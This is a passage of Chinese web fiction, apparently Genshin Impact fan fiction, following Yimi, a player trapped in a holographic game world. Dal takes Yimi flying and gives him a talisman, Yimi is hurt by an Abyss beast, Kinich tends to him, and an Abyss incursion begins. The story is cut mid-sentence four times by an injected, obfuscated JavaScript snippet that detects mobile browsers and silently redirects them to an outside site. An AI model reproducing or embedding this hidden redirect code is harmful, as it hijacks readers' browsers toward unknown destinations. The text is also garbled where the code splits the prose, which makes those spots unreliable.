圣火竞技场里已经沸腾了,各个部族的人都在呐喊着英雄和胜者的名字。达尔从天空中一跃而下,掀起了巨大的焰苗,引起一阵惊呼。 我朝他挥了挥手。他扫视一圈,看见了我,乐颠颠地跑了过来。 “伊迷,让我来教导你没错吧!”达尔凑了过来,向我展示了一下他手臂上的肌肉。 他身上尚且带着热气,混着阳光与泥土的气息。 我难得心情好,朝他比了个大拇指。 他接过旁边观众递来的巾布,仔细地将脸上的汗擦干。 “首领叔叔,谢谢你帮我看孩子咯!” 那位回声之子的首领似乎也为他的好成绩高兴,揽着他的肩:“你这小子,简直强得不可思议!明明上回见你的时候,你的火焰还没有这么大——” 连那位害羞的卡齐娜都悄悄地探出头,打量着达尔。 “没有没有,我可不能跟您比,战胜深渊的大英雄!” “……哈哈哈!纳塔的未来还要看你们呐!”络腮胡子的首领大笑道。 寒暄过后,达尔拍了拍我的肩膀,示意我跟他走。 “你不去参加队友的庆功会吗?”我指了指对面翘首以盼的两个队友。 达尔颇为神秘地压低了声音:“不去——我们偷偷溜掉,他们因为我迟到,要让我买单……” 活该。我有些无语。 “……他们看着你呢,你怎么跑——” “抓紧我咯!” 他这一句话刚落,我还没反应过来,就感觉自己腾空了起来。 喧嚣逐渐淡去,我的眼前撞来大片大片的蔚蓝。 我在飞。 准确地来说,是达尔在带着我飞,就在刚才达尔回圣火竞技场用的金色光道上。 狂风吹得我张嘴都艰难,我只好撇过头大叫:“这又是怎么做到的——” 我只听到呼啸的风声、破碎的龙吟以及分外夺人注意的哈哈笑声。 “呼!自由的感觉——” 这家伙。 我只好暂时放下我的求知欲。没想到,脑子放空后,这种飞行的感觉倒还真的很舒服。 我们一直飞到太阳落山,才堪堪降落到一个不知名的山头上。 远处的云海翻滚,色彩极艳丽。 我失神地看着达尔的火红色眼睛,一时觉得似乎有群鸟从其中飞过。 达尔还是活蹦乱跳的,他看了看我,说:“刺不刺激?” 刺激你个头。 “下次给我点反应时间,”我呼出一口气,“本少爷有心脏病。” “诶呀,抱歉抱歉,忘了这个了,不过没关系,我可是时刻注意着你的状态哦,”达尔拍着胸脯,“根据我的经验,你的病并不严重。” 真的假的。 说起来也有道理,毕竟我除了刚进游戏时有一段时间的感觉,后面无论是跟基尼奇射箭还是参加游猎会,这心脏病都没什么存在感。 不知道系统为什么给我安排这种病。 “所以刚才那到底是什么?”我按了按太阳穴,问道。 “流泉之众的高速公路咯!” 我愣了愣,疑惑道:“……只有流泉之众能用?那你怎么飞上去的?” 达尔眨了眨眼,“我母亲是流泉之众的。” 哦。 我们休息了半晌。 沉默过后,达尔抬手,眺望了一下远处,似乎想到了什么。 他转头问我:“想不想学些实战能力?” 我已经被这人突如其来的动作搞过敏了。于是,我抱着胳膊,退后一步,警惕地问他:“你又想干嘛?” 学我倒是想学。 达尔指了指远处,“那里有一处兽境,也许你可以跟着我进去看看。” “兽境?” “详细点来说的话,兽境其实就是深渊裂缝,由于圣火能量未能全面覆盖,导致某些地方仍然会出现深渊魔物,”达尔的眼神逐渐变得锐利,“猎杀这些异种,也是我的责任之一。” 之前杂书里介绍过深渊,只是语焉不详,关于如何对抗深渊的描述更是纰漏百出。现在来看,主线没那么简单,说不定会涉及深渊。 我想了想,斟酌道:“深渊应该很强大吧?” “当然,连最强大的战士在深渊面前也得打起精神。” 那就麻烦了。兽境对现在的我来说太危险了。 我心里惋惜要错过这次机会,刚想开口拒绝达尔,就见他递给了我一张米黄色的纸,上面还绘着微微发黑的红色咒符。 “这是……符箓?”我疑惑道。 这地方居然还有符箓,真是文化大乱炖啊。 “对,这东西是之前外邦璃月的商人来纳塔的时候送给我的,据说还是仙人亲笔的呢。” 我心里理解了大半,毕竟符箓文化我还算熟悉:“所以这张符箓有保命能力?” 我倒是玩过道家背景的全息游戏,对这种符箓也司空见惯。一般的效用就是形成保护罩,或者是发动一次性的攻击,不知道在这个游戏世界,机制还是不是这样。 “对,也不太对。”达尔散漫地笑了笑。 他把我拉了过去,从口袋里拿出一根红绳,随即蹲下来,把这张符箓牢牢地系在了我的一角。 “这张符箓上的最后一笔,用的是我的血。它可以将佩戴者所受到的所有伤害转移到我的身上。所以,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982077|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要我还活着,这张符箓就相当于有保命能力。” 【恭喜玩家获得NPC永久赠予的道具:誓要守护的符箓】 我愣住了。 我下意识推了推他,想问他为什么突然送我这个,但又不知道怎么开口。 对面的少年给我系好之后,就拍拍手站了起来,又挂上了经典招牌笑容:“感动吧?” 虽然对玩家来说,NPC赠予道具并不罕见,但我还是感觉有点奇怪。如果这是一场攻略游戏,其他人就好像是正常好感度的人,而达尔这个人,就像是一开始就对我抱有极高的好感度。 全息游戏里的NPC都是完全智能体,不会像传统游戏一样,一切以玩家为中心,主动向玩家提供帮助和发布任务。 这也是我喜欢全息游戏的原因,它和现实很像,但这里的一切都可以靠自己争取来,所有玩家都一视同仁,而不是像现实游戏一样,很多东西,一出生就注定好了。 所以为什么?我不相信有人会无缘无故地对一个人好。就像是我对基尼奇的帮助,虽然有喜欢和同情的缘故,但更多的是出于希望逃出游戏的原因。 跟达尔比起来,我显得非常卑劣。 我觉得自己有些对不起基尼奇。 达尔见我站在原地,解释道:“别多想啦,某种意义来说,你是我收的第一个弟子,作为[责任]的古名继承者,我带你进兽境,当然要保证你的安全咯!” 他拍着胸脯,自豪地说:“而且大部分攻击转移过来之后,我都是可以化解的!” “况且,你作为少爷,还在悬木人这样的部落,能受到攻击的可能性也很小吧。” 他这样一安慰,我感觉正常多了。 我还想说些什么,他却郑重地看着我。 “伊迷,小孩子不要心思那么重,开心一点啦。” 我立刻反驳道:“我很开心。” 还向他露出了一个非常真诚的笑容。 “是吗?”他好整以暇地看着我,“其实有些时候,我总是觉得你的笑容很假,就像是装出来的乐观一样。” “……”说什么胡话。 他想了想,试探性地问我:“是因为家庭原因吗?不对,感觉你不像是这种人。” 我知道他在说我虚伪的父母。来到游戏一个多月了,我从未见过我的母亲来过问我的生活,便宜爹虽然经常性地看到,但任谁目睹他那不带任何感情的审视,都会熄灭了想要交谈的欲望。 不过我早已不在乎这些了。 我只是,不相信世界上有无缘无故的好罢了。 我现在只是想尽快出游戏,然后好好休息。 我清清嗓子,绕开这个话题:“走吧,我们进兽境。” 他看了我一眼,然后站了起来,伸了个懒腰,勾着我的手。 “走吧,小朋友。” 16. Chapter15 我们穿过一片林子,逐渐抵达一处洞穴。随着步伐深入,周围的各种声音逐渐消亡,一切都沦于寂静。 该说不愧是深渊吗? 作为游戏外的来客,我在靠近这个地方的同时,甚至也能感受到浓郁的阴冷感。 我们在洞穴口处停住脚步。洞穴里是深邃的黑暗,有风从里面流出,带来一股腐烂的咸腥味,隐隐约约还有此起彼伏的嘶吼声。 “保持警惕,”前面打头阵的达尔侧头叮嘱道,“符箓虽说可以抵挡魔物的伤害,但对深渊的精神污染却不能免疫。” 他像一个认真的老师一样接着解释道:“如果不集中意志,很容易被深渊影响,做出不符合自己意愿的事情,严重时甚至丧失神智,变成魔物。” 我点了点头,示意了解。 “那准备好,”达尔抽出背后的单手剑,笑了一下,“进入洞穴就是兽境,记得好好学习一下在实战中怎么应对敌人。” 话音刚落,他闪身一跃,身形便消失在了洞口。 我紧跟着踏了进去。 进入兽境的感觉很奇怪……就像是我从现实世界进入全息游戏的感觉一样,先是眩晕,随后断裂感袭来,等眼前的黑暗如潮水般褪去,映入眼帘的便是一个全新的世界。 我有些惊讶,因为眼前的世界并非想象中阴湿狭窄的洞穴景观。 这里几乎没什么太阳光线,唯一的光源是头顶疑似天穹的紫色光幕,那光幕离地面极近,让人有一种喘息都困难的感觉。四周空荡寂阔,地面上是一层层的暗紫色不知名小花,还有水银般的湖泊和尖刺般的山峰,并没有达尔所说的魔物。 同时,也没有达尔。 “达尔?”我试探性地喊道。 没有回应,看来是进入洞穴后被兽境分散了。 按照达尔的说法,既然深渊都能抓住人精神的弱点对症下药,那么能做出把我和他分散来各个击破的事情,也不奇怪了。 我没有慌忙,毕竟达尔的符箓还在我的身上。 我想了想,决定朝四周走走。 这里的空间很大,朦胧间,我似乎又听见了刚才在洞口处听见的风声和嘶吼声。只不过这次,嘈乱的声音间,似乎还夹杂了一道熟悉的声音。 “……世外的漂泊者——” 我脚步一顿。 “……世界因你而生——” 这声音……有些像那天在七天神像触发疑似支线的剧情时,听到的古老而亘远的叹息声。 我犹豫了一下,开口道:“请问您是?” 没有回应。 那道声音依旧在自顾自地说那两句没头没尾的话。 人机,我腹诽道。这两句话其实很好理解,无非是在说我是外世界的玩家,这个游戏世界是为我创造的。 但是我感觉游戏剧情不会莫名其妙安排这样无用的线索。 难道这真的并不是交互式的场景,而是简单的背景音乐? 我有些烦躁,由于信息不对称,现在得到的很多信息我都无法明确利用。 脑中一浮现出这个念头,当初与火神神像共鸣时感受到的情绪就尽数涌上来。一时间,我感觉自己不受控制地陷入了情绪的汪洋。 “伊迷!” 达尔突然出现在我身后,拍了拍我的肩膀,担忧地看着我。 我倏地惊醒,从纷繁的念头中脱离出来。 “你这小鬼,我再晚点儿来,你就完了——”达尔像是转陀螺一样,把我从左到右看了一圈,似乎在确认着什么,“还好没事。” 他长出一口气,接着说道:“刚进洞穴之前,才跟你说要保持清醒专注,这才过了多久,转眼不见,你这小鬼就被深渊唬住了!” 哦,原来是深渊的精神污染。 我尴尬地摸了摸鼻子。 达尔把手掌覆在我的额前,温暖而明亮的火元素力注入到我的体内,之前翻涌的难受都被压了下来。 “我感觉好多了。”我讪讪地说。 达尔叹口气:“跟紧我,可不要再被深渊蛊惑了。” “你怎么找到我的?”我问他。 达尔指了指我身上微微散发着柔光的符箓:“喏,这个符箓能定位。” 说完,他又补充道:“但是你放心,我只会在你有危险的时候使用定位能力,平时不会监视你的。” “……谢谢。” 果然我还是不能习惯达尔这样的人。 我亦步亦趋地跟着他朝天际的尽头走。 * 走了很长一段路,达尔忽然道:“做好准备,魔物要来了。” 啊? 见我疑惑,达尔解释道:“魔物并非一直呆在兽境里游荡。他们本身处在深渊当中,不过,他们与兽境的元素波动有感应,一旦发现有人进入,就会通过深渊裂缝迅速到来。” 深渊裂缝?这样啊,怪不得我刚才没有见到魔物。 达尔警惕地看了看四周,把我护在身后:“刚才我给你治疗的时候用了火元素力,现在那群东西,应该快要来了。” 我也有些紧张,虽说有达尔的符箓,但这也是我第一次直面这个游戏的黑暗面。我也不太想给达尔拖后腿。 达尔的话音刚落,仿佛印证似的,我们的周围霎时裂开了一道道紫黑色的缝隙。这些缝隙似乎是无端从时空中撕裂而来的,还带着丝丝狰狞的闪电。 狂风将达尔的衣摆吹得乱舞,他迎风而立,手持单手剑,似乎谨慎又期待。 几乎是几秒之间,那裂缝中就窜出来几条紫色的魔物。 我轻嘶了一声。 这魔物长得可真奇怪。形状像一条巨狼,但是全身上下又只有庞大的骨架在徒然支撑着形体。 就像是……某种对于自然物种的粗劣仿制。 这就是深渊吗?看起来似乎很想当造物主的样子。 “呵,还是雷元素力的魔物——” 达尔挥剑大笑:“看好咯伊迷!” 他身形似电,脚下一发力,手中的单手剑便化作一道灿金色的长虹,直直地朝对面张牙舞爪的魔物劈去。 魔物似乎也不甘示弱,举起巨大的利爪扑了过去。 一红一黑两道元素力剧烈碰撞,火花四溅,几乎将整片天地映亮。 我眯了眯眼,退后一步,把战场留给他们。 达尔的元素力强度似乎更胜一筹,但在速度上赶不上魔物的攻击。 不知道为什么,这种魔物没有神之眼也能使用元素力,而且,它们使用元素力似乎也并不需要蓄力和武器媒介。 我想了想,心里推测,元素力这种力量并非神所独有,深渊亦可以利用。 在我思考的阶段,第一条魔物已经被达尔最后凌厉的一剑直接斩杀了。紫黑色的巨狼碎裂成一片片暗红色的业尘,如同歌剧谢幕中燃烧的玫瑰。 这么残暴的生物,死亡的状态还挺优雅。 达尔来不及歇息,便迎战第二条魔物。 接下来的战斗,达尔似乎发力了,每一条魔物不过五招就被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982078|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他解决了。看样子,第一条打得那么慢,是为了让我看得更清楚。 不过一刻钟的时间,六条魔物都变成了齑粉。 达尔手持长剑,立于战场中间。他的胸膛尚在起伏,呼出的气流也带着热气。 “怎么样,面对深渊魔物时,一些基础的招式我都用上了……”达尔一边朝我走来,一边笑着说。 “你太快了,我都看不清。”我吐槽道。 “诶呀,看不清也没事,今后我会再教你……” 达尔开始絮絮叨叨地讲他刚才用到的知识和招数。 我一边听,一边抽空撇了一眼远处缓缓合上的深渊裂缝。昏暗的光线下,达尔身后的那道深渊裂缝似乎颤动了一下。 一阵黑影袭来,紫黑色的电纹割裂空气。我心里一惊,连忙使劲地把达尔往旁边拉了一下,自己却慢了一拍。 那是一条躲在暗处的深渊魔物。 达尔才反应过来,甩剑将它劈为两段。 然而,那张透着血腥的肮脏利爪却擦过了我的脸颊。 【系统警告:玩家遭到“不加伤害的利爪侵袭”,恶毒的深渊魔兽观察到了你的符箓功用,于是,它决定用最轻的抚摸赐予你最重的精神污染】 【系统警告:生命值扣除50,请玩家尽快离开兽境】 我有些眩晕。 达尔连忙跪下来扶住我。 “不应该啊,”达尔似乎很自责,眼圈都有些红,“我刚才都检查过了,裂缝里根本没有魔物气息了,而且我的符箓怎么会没有生效——” “你这小鬼,救我干嘛。”他好像生气了。 但是我眼前一阵发麻,有些看不清他的神色。 浓郁的火元素力透过他的手掌传了过来,蔓延至我的四肢五骸。 半晌,我才恢复过来。 “我没事。”我戳了戳他。 “没事个鬼,你知不知道这种侵蚀是永久性的,根本没办法祛除。” 我当然知道这个,系统已经告诉我了,但是我是玩家,跟NPC不一样。对NPC来说,深渊魔物攻击的精神侵蚀是慢性中毒,而对于我来说,倒没有这个弊病,只是一次性扣了一半生命值而已。 说起来,系统总是在该故障的时候清醒。我又想起诉游戏公司了。 回过神,我朝达尔点点头,又摇摇头:“你别自责,本来就是为了教我才进兽境的——” 达尔打断我:“你先别说话。我看看情况如何,我的火元素力应该能把这种伤害传递过来,替你分担一些。” 我下意识护住了伤口。 开玩笑,如果达尔检查了发现我没有被侵蚀,我要怎么解释。 但是我显然没有达尔力气大。吊儿郎当的少年强硬地别开了我的手。 “咦。” 果然,达尔发出了疑惑:“怎么会没有侵蚀痕迹?” “难道——”达尔看向我,眼神逐渐变得沉思。 他没说自己想到了什么,只是呼出一口长气:“没事就好——怪不得我的符箓没有生效,原来根本没有造成伤害。” 我没忍心告诉他真相。 看来,纳塔的深渊已经进化到一定程度了。“不加伤害的利爪侵袭”,没有造成实质伤害,自然也不会被符箓反弹。深渊居然已经有这种智慧,懂得利用机制漏洞来对付敌人。 最重要的是,纳塔人似乎还没有发现这一点。 达尔轻轻捞起我,背起我说。 “走,伊迷,我带你回家。” 17. Chapter16 事实证明,人总是在自己落魄的时候出更大的丑。 比如之前本来要去给基尼奇送温暖,结果半途遇到野熊,最后被基尼奇救下;再比如……现在。 呃。 我发现这个游戏世界真神奇,有些时候感觉巧合疑似有些太多了。 达尔和我乘坐流泉之众的光道飞行了很长距离,几乎距离悬木人部落已经很远了。从兽境出来,天色也已不早。他背着我,一边给我细细讲解刚才实战中用过的招式,一边绕过了很多山路,从悬木人部落所在山脉的背坡回到了部落。 然而,刚踏上木质栈道,一个少年的身影便猝不及防地出现。 基尼奇穿着干净的灰白色粗布服,头上尚且绑着我送给他的那条绿色像素风格的发带。清凉的月色下,他正在跟一个老爷爷说着什么,冷淡而清澈的少年音色在空气中回响。 “……我们换条路吧,达尔。”我把头缩进达尔背后的阴影里,压低声音说道。 达尔停住了讲解,似乎很疑惑:“怎么了?” “你先回去,”我扯了扯他的领子,“快点——” 来不及了。 月光下,基尼奇忽然顿住了声音,随后若有所觉地将目光投向了我的方向。 ……虽然不知道为什么,但我还是不太想让基尼奇知道我受伤的事情,总感觉他知道了会生气和担心。即使我的伤连达尔都没看出来,我还是下意识想躲避。 我有些烦躁,不太喜欢这种感觉。 基尼奇果然发现我了。 他将一封信递给了对面的人,随即迈开步子,朝达尔的方向走来。 达尔看出来我是在躲他,不禁挑了挑眉:“这就是你说的那个需要我带的孩子?” 我点点头:“……对,放我下来。” 脚刚落地,我就听见了最不想听见的一句话。 “伊迷,你受伤了?” 基尼奇端详了我一阵,语气笃定地说道。 达尔看了看一脸纠结的我,又看了看面色沉静的基尼奇,似乎明白了什么。 他主动解释道:“抱歉,伊迷的伤是我的疏忽。我擅作主张把他带入了兽境历练,却没能保护好他——” “你该知道兽境有多危险,也该知道自己不应带他进去。” 基尼奇径直打断达尔的话,苍绿色的眼眸直直地盯着比他高一头的达尔。 我愣了愣,我还从未见过基尼奇说话这么冷硬的时候。哪怕是对他的家暴父亲,他也只是做到了倔强,而没有直接批评。 空气陷入诡异的沉默。 我有些头疼,斟酌着开口:“这件事并非达尔的错,况且我伤得也不重——” 鬼伤得不重,生命值直接一半都没了,一想到这个我就心里发怵。 见基尼奇还是那副冷淡的模样,我只好软下语气。 “——基尼奇,别生气嘛。” 达尔也不知道说些什么,只好尴尬地挠挠头。 半晌,基尼奇才垂下眼,缓缓出声道:“抱歉,我太冲动了,不该这么说话。” 达尔连忙摆摆手,示意自己不在意。 见气氛缓和,我朝达尔使了个眼色:“达尔哥哥,你先走吧,我跟基尼奇回去就行。” 达尔点点头,确认已经到了安全地带后,跟我们俩挥了挥手:“好,注意安全。” 达尔走后,我观察着基尼奇的神色,确定自己不会挨骂后,才好奇道:“基尼奇,你是怎么看出来我受伤的?” 基尼奇弯下腰,蹲在我面前:“上来——你的脸色太苍白了。” 我听话地爬上他的背,双手揽住他的脖子。 我们沿着古朴结实的栈道向灯火茂密处行进,月光越过我们,交缠的影子印在涂满颜料花纹的崖壁上。 “下次不要再去那么危险的地方了,没必要。” 基尼奇头也不回地说道。 我趴在他背上,能清晰地感受到他说话时后背的起伏与微颤。 我有点想笑,也没忍住,尤其是想到自己被一个七岁小孩一本正经地训话。 “……笑什么。” “没什么。”我连忙摆摆手。 说起来,自从来到游戏,似乎基尼奇也背过我很多次了——我也留在这个游戏很久了,也不知道游戏舱的营养液够不够。 我正在神游,基尼奇又问道:“你怎么会认识刚才那位[帕洛特]?” 我愣了半天,才反应过来这是达尔的古名。 我笑着解释道:“之前不是游猎会得了第一名嘛,我爹说达尔跟我们一族约定了教导榜首,所以,现在的话,达尔相当于我的老师。” 基尼奇没说话,似乎欲言又止。 “你又要说我不必心急,对吧?”我乐了,抽出一只手拍了拍基尼奇的头顶。 “别闹腾,”基尼奇说,“我只是觉得有时你没必要对自己逼得这样急,过程亦是重要的。” 我心里一紧。 总感觉基尼奇话里有话。 确实,作为一个正常小孩来说,我实在没必要去争游猎会的第一,也没必要去跟达尔学实战技巧,去进入兽境了解深渊。 但是,在一个故障游戏里,什么事情都有可能发生,我能做到的,就只有尽全力探索主线,并且提升自己的保命能力,尽快回到安全的现实。 虽说现实也并没有什么值得我眷恋的东西,但那毕竟是真实的世界。 “到了。” 基尼奇把我放下,朝我点了点头,然后转身离去。 大树屋的灯火如昼,我看着他小小的身影独自融入黑暗。 * 生命值扣除50还真不是说着玩儿的。 从兽境回来的那天,我还没什么大的感觉,只是觉得头晕眼花。结果睡了一天,第二天根本就起不来。 感觉就像是现实生活中刚做完手术一样,全身绵软无力。 达利也一边扶着我,一边焦急地看着正在为我检查身体情况的巫师。 我看着他们忙上忙下。 “没有大碍,精神污染也未曾发现,”带着巨大深蓝色头冠的巫师说道,“看样子应该是兽境耗费心力过多,又受到了一定的深渊能量影响。” “那就好,那就好,从烟谜主过来真是辛苦您了!” 烟谜主?新部落? 我抬眸,仔细地打量了一下巫师的打扮。 看起来是个神秘的部落。 见我对他好奇,他笑了一下,随即发现了什么似的,开口问道:“少爷头上的发带从何而来?” 我没想到他会问我这个,抬手摘下发带递给他:“这是一位熟人送给我的。” 我没有提及基尼奇的妈妈,毕竟我并不知道巫师和烟谜主的品行如何,盲目倾诉怕会给基尼奇他们带来麻烦。 巫师小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982079|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心翼翼地接过发带,似乎在确认什么。 半晌,他说:“这条发带是烟谜主的元素织物,应当是当年那场归火圣夜巡礼的奖品。” 我一边整理刚起床而被压得乱翘的头发,一边回答他:“确实如此。” 不过这个巫师能单靠观察就能得出这样的结论,也实在令人惊讶。这也是烟谜主部落的能力之一吗? 巫师默了一会儿,感叹道:“似是故人之物。” “故人?” 巫师好像陷入了回忆,语气变得缥缈低沉:“十年前我烟谜主部落的大英雄,也有一条这样的发带,只不过——” 他中断了话语,不愿再多谈,只是翻来覆去地考究着这条火红色的发带。 呃。 我觉得这个NPC可能是想要这个发带,但系统并没有提示这里有没有支线剧情,我也不太舍得把基尼奇妈妈送我的发带再送给别人。 我试探性地问道:“巫师似乎对我的这条发带很感兴趣,只不过它对我而言很重要——” 巫师愣了一下,随即将发带递给我,“少爷误会了,我并非想要此物。过去已成过去,无论此物是否是故人之物,既与少爷有缘,便是少爷之物。” 看来是没有支线剧情。 我松了口气,把发带重新系上。 “此物为烟谜主部落宝贵织物所作,不仅是纳塔历史和文化的局部承载物,更蕴含着极为古老的元素力量,”巫师退后一步,说道,“虽说并无实战能力,但有时在困境中也许能起到意想不到的效果。” 我起了兴趣:“什么效果?” “具体效果取决于佩戴者自身,”巫师解释道,“就当年我族的大英雄来说,这条发带的能力包括且不限于瞬移传送和引导元素力。” 这么厉害? 就这么小小的一条发带,还能有这种用法,怪不得能作为归火圣夜巡礼的奖品。 “望少爷千万珍惜,不要辜负了这种传承。” 巫师言尽于此,转身朝一旁的达利也打了个照面,便离去了。 我看着他长长的深蓝色衣摆在远处消失。 不知道基尼奇妈妈是怎么得到这条发带的,她和巫师口中所谓的“烟谜主大英雄”又是什么关系。 不过既然不是游戏剧情,看样子我也并不需要深入探究。 当务之急,是尽快养好我的伤——呃,准确地来说,是从精神的负面状态中恢复,毕竟总计100的生命值,已经丢了近一半,而且这种扣除是不可恢复的。如果再无精打采和头晕眼花,情况就很危险了。 我正思考着,外面达利也已经回来了。 “少爷,”达利也拎着两个袋子,“刚刚您的老师和朋友来探望您了,送来了两袋草药,说是很有用。” 达尔和基尼奇? 我问:“是什么草药?” “似乎是两袋一样的——灵花,”达利也确认了下,“刚才早上我去集市上买还没买到。这种草药熬成汤治疗效果奇好,就是很难买到。” 达利也奇道:“达尔小英雄能得到灵花很正常,就是不知道少爷的朋友基尼奇是从哪弄到的,弄这个可得费不少心血——自己采的话,要起个大早去流泉之众的悬崖上候着呢!而且这两位居然不约而同地送来,可真是太巧了——” 我弯了弯嘴角:“基尼奇无所不能呢。” 这小家伙,昨晚不会没睡觉吧。 18. Chapter17 由于身体不适,我难得空闲下来。纳塔的天气又总是晴空万里,暖意透着窗户的边沿无声无息地爬进来,让人昏昏欲睡。 ——于是我理所当然地睡了一整天。 达利也第二天中午给我喂药的时候,我的意识才清醒过来。 “……达利也,现在外面是不是在举行归火圣夜巡礼的个人赛?” 我虽然感觉好多了,但头还是晕,一边恹恹地问他,一边撑着床沿准备起来看比赛。 其实经过兽境的那一番事情,元素力和实战能力的情况我大致已经了解了。我现在更想去看一眼这个游戏世界的神明——那位强势而强大的火神。 毕竟我和她的神像还产生过共鸣,总感觉那段游戏剧情很重要。 达利也愣了好一会儿,才回答道:“……个人赛?归火圣夜巡礼昨天就已经举行完了啊——” “啊?” 达尔不是说团体赛和个人赛之间隔一天吗? 见我疑惑,达利也才解释道:“哦,是这样——烟谜主那边测算出此次深渊行动有变,为了尽快选出参加归火圣夜巡礼的英雄和提供充足的战备时间,个人赛提前了一天。” 呃。 我感觉头更疼了,重新躺回床上。 算了,后面再找机会看一眼火神吧,反正以我现在的能力和地位,也不可能跟她说上话。 我想了想,问他:“那结果如何?” 达利也把调好的温度合适的药递给我:“别的我倒是知道的不多,毕竟族里人出去的不多。但是少爷的老师——达尔先生——似乎取得了很好的成绩,能去参加今年的[巡夜者战争]呢!” 不愧是达尔,我与有荣焉地想。 我一口闷掉奇苦无比的灵花药汤:“嘶,这味道——也就是说达尔马上就要出发参战了?” “对,”达利也接过空碗,“火神大人给了六位英雄两天的休养时间,上午达尔先生还来过呢。” 两天吗? 我想到了别的事情:“这一整天你是不是一直在给我喂药呢?” 达利也傻笑着点了点头:“少爷喝了五次呢。” “……麻烦了,”我咬住舌尖,怪不得喉咙苦苦的,“不是只有两袋灵花吗,怎么能熬这么多次?” “少爷的朋友基尼奇每隔半天都会送来一袋呢,”达利也语气惊奇地说,“他对少爷可是真的好……” 达利也刚开始念叨,他念叨的人就来了。 “叩叩——” 房门被不疾不徐地敲响。 “请进。”我哑着声音喊道。 一个系着绿色发带的少年推开了房间的门,视线首先落在满地可爱无比的毛绒玩具上,随即淡淡地看向我。 苍绿色的眼眸中似乎有别的意味。 我这才意识到房间里奇怪而尴尬的摆设,感觉脸有些发热。 我能跟基尼奇说这些毛绒玩具不是我的吗。 “打扰了,”基尼奇仔细地将我从上到下检查了一遍,“你现在感觉怎么样?” “好多了。”我面无表情地说。如果没有毛绒玩具就更好了。 基尼奇顿了顿,提议道:“要不要出去走走?” 达利也见状,表示赞同:“少爷躺床上太久了,多出去走走也有利于身体的恢复。” 我有点懒散,但也不想在床上浪费时间,于是从善如流地起身穿衣服。 * 外面天气很好,也很热闹。 也许是一年一度的归火圣夜巡礼点燃了所有人的热情,总之,走在路上都能感受到人们蓬勃向上的精神气。 “——你听说了吗,今年我们部落出了两个能参加巡夜者战争的英雄呢——” 我听到人群中此起彼伏的讨论声。 “对啊,太厉害了!” “我也好希望我有一天也能成为优胜者,为部落而战,把深渊打得落花流水——” “你先把攀岩练好吧!” “愿圣火保佑他们——” 我饶有兴趣地转头,看向基尼奇:“他们说的是真的吗?” “是的,”基尼奇回答,“今年的归火圣夜巡礼,悬木人部族的英雄表现得分外抢眼,一名没有神之眼的侦查师和一位战斗英雄都进入了优胜者行列。” “没有神之眼?!”我有些惊讶。 基尼奇看了我一眼,似乎奇怪我的反应:“几乎每年都会出现没有神之眼的人进入优胜者行列,并在最终的巡夜者战争中取得良好战绩——在纳塔,人们相信自身的力量,古名的传承和神之眼的力量只是一种辅助。” “那这个人也很厉害了,居然能不用元素力都闯进决赛。” 基尼奇点了点头:“侦查能力出众,懂得寻找并利用弱点,这样的人值得尊敬。” “这样说,”我戳戳基尼奇的腰,“你也有这种潜力哦。” 毕竟小基尼奇也教过我观察。 “谢谢夸奖。”基尼奇面不改色地接受了我的揶揄。 嘁,怎么感觉基尼奇脸皮变厚了,明明之前夸他的时候,他还会脸红。 我们顺着部落的周围走了一圈。风带来原野的气息,吹在身上很是舒服,但不知道为什么,我似乎在风中闻到了一丝奇怪的气息。 “基尼奇。” 我仔细嗅了嗅:“你有没有感觉风的味道很奇怪?” “风的味道?”基尼奇怔了片刻。 半晌,他反应过来,脸色一变:“伊迷,你确定吗?” “可能吧,我总感觉里面夹杂着一股让我不舒服的气息。” 就像是…… 我终于反应过来,和基尼奇对视了一眼。 ——深渊能量的气息。 “我们得快点通知其他人了,”基尼奇拉过我,把我护到内侧,“你刚接触过深渊,对深渊能量的感知能力要更敏锐一些。” “——如果真的是深渊来临,那它可真会挑时候。” 唉,散个步也能遇到深渊,我感觉最近游戏的节奏似乎加快了。 我们一边往回跑,一边通知遇到的人。 但显然,连我都能闻到深渊气息了,那深渊肯定也不远了。 我们走到长老会的时候,长老们已经派出战士们到深渊魔物出现点去了。 “深渊界门确实出现了,”留着长长白胡子的老头说道,“你们做得很好,帮我们疏散了一部分民众。” 基尼奇看着跑上跑下的战士们,回答道:“应尽之事。” 长老似乎对他的沉静很意外,摸着胡子笑了笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 